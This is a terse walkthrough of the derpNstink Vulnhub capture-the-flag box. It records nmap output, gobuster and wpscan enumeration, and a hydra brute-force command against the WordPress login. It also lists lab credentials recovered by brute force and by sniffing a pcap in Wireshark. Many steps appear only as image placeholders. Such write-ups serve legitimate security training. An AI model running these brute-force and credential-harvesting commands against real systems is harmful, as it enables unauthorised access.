derpNstink — Vulnhub

Walkthrough notes for the derpNstink box (Vulnhub).

#vulnhub#ctf#walkthrough#boxes

derpNstink — Vulnhub

nmap

🐺 howlsec@kalicode

01PORT   STATE SERVICE REASON         VERSION
0221/tcp open  ftp     syn-ack ttl 64 vsftpd 3.0.2
0322/tcp open  ssh     syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
04| ssh-hostkey: 
05|   1024 12:4e:f8:6e:7b:6c:c6:d8:7c:d8:29:77:d1:0b:eb:72 (DSA)
06| ssh-dss AAAAB3NzaC1kc3MAAACBAMZoT7661ewMcQgzna/qzvkfYaLGwfMnL0VKh3hkBCwGw3jvSXjmjhKw/gR2TnTLFQ9eTDNPTuGsm87dOUSEunbZMvP9GgnA9hOUCI9T1oy5Rs4/AidB9uiVAKN+mefOBBkwhO74UkzNCZw+SX214uaEyK5tQxcROT8hqqLPbu2lAAAAFQCYTgxWroPZExKzHRqCJUbgQaCV6wAAAIEAifRo93uYV4W0l81ybohh+U2vZdqF7FLMXpyvVLv3wcSs1fa6w+0idZ076luA/RWcO/Cavp1q2Yvvyp7E/uKPe9fuDV8Qp4g3FArPQB/Bg+CUL90tNLcAiI+0b6lS8ByfwgMzcinP8fzjWeo3ZRyyU+nGqQaoF9kC951bloDJ48sAAACASzBGZ/bwnBU0oZxhuDg4c2YxD+R96JWBvDvMrqlxqZO1NsAAq5o/GU26++Yrk15mXFZgtkVBxeFXSErjwPkHfMWqY/TNOybUptUtnrqQlvN8tB4VW9sJwbT1AmnAyJZRJZ00x8cxzqvgD6qRyPJCCdNQsUiAnpDQ8RQ5v0cY67M=
07|   2048 72:c5:1c:5f:81:7b:dd:1a:fb:2e:59:67:fe:a6:91:2f (RSA)
08| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCog1WR41f7pXHcoQcEEDgeARy4bpquU6qGdWxOoc7CSjatxW2e8qi3Le/66/nER15eOFqFXV6dQcS/FQOqjPYtRugPNL16Idrq6BBRhmle+AUCb2Yjwq3rzPnOzonFj2q5FSi6zzMIhTbrIwB8xF9rEazw/4DInYKCChtN7+xZC5SWk5tXf9/2hrWhvEg8mM0HYjs31SkfO2qn4OyV6/rT+sPts39ILVLN7p8IiOU8vFdbOt4K5xPgTlUIFdHotVHjkakgYZ2cb32DCu/c/qZ3xRU2kcTL2qjL4Q6crDajXWBpyNGyFhjx88hindUTU6I6BnaWCjaDFabk7JODrf8J
09|   256 06:77:0f:4b:96:0a:3a:2c:3b:f0:8c:2b:57:b5:97:bc (ECDSA)
10| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPbUzlHO4L0CcRTLxyaFkqvqoQikn5j1oipMTeYmvIp4D3o7Ht4tvVG9H+hGyX2+jz5cHwx9knygVi9CuXDU9t4=
11|   256 28:e8:ed:7c:60:7f:19:6c:e3:24:79:31:ca:ab:5d:2d (ED25519)
12|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5AF6Fe/U78KCW1vdVjGoYR9NHOpICUnz6uQgVGETII
1380/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
14|_http-title: DeRPnStiNK
15| http-robots.txt: 2 disallowed entries 
16|_/php/ /temporary/
17| http-methods: 
18|_  Supported Methods: GET HEAD POST OPTIONS
19|_http-server-header: Apache/2.4.7 (Ubuntu)
20MAC Address: 08:00:27:D2:47:B1 (Oracle VirtualBox virtual NIC)
21Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

notes

🐺 howlsec@kalicode

01gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://192.168.1.49 -o initial_dir

unnamed_1e527ff28eaf43eb89cc1b43ed372c45

weblog is a wordpress site. It redirects us to http://derpnstink.local so we need to add it to /etc/hosts. Virtual host routing.

🐺 howlsec@kalicode

01wpscan --url <http://derpnstink.local/weblog/> -e vt,tt,u,ap

unnamed_05d9aae6fd874f2bab1ffcc74d4cdfa4

🐺 howlsec@kalicode

01hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.49 http-post-form '/weblog/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:S=Location' -V -e nsr -f -t 50

unnamed_2a163ef24e714626a81fe1e0299e1e04 unnamed_7a7bebd9f8c74083a00d0b717a53ee70 unnamed_cede256b4b9740438acb3ebf89559721 unnamed_6359a1d572f54ee39072a09b9aa058ff unnamed_ac316cbcca77409f92866401135c75a8

🐺 howlsec@kalicode

01unclestinky:wedgie57
02admin:admin

unnamed_8fb830a4b9e348e9b937122881d3dcad

FOUND PCAP FILE

unnamed_605d65767879456d82c272a99d7a0142

tranferred it to kali for wireshark

unnamed_488461fcc7d2439e947e47ef8186a0c4

went through all http requests i could find. Found these credentials:

🐺 howlsec@kalicode

01mrderp
02derpderpderpderpderpderpderp

You can find clear text credentials over ### FTP, SMTP, HTTP, POP3, IMAP4, SNMP, LDAP etc..

https://www.infosecmatter.com/capture-passwords-using-wireshark/

unnamed_ddcb41e7e1694e20b4e6c72e686d7b1e

This will be ezpz

unnamed_6a593b09adf04a698ded6b84ebd61fc9 unnamed_a989995f408d4a2bb7eb1e25532f3c0b unnamed_e9ee3f418d4340b9972cd09025bd38fa unnamed_f1793836af9f4b4e94598065496cbcee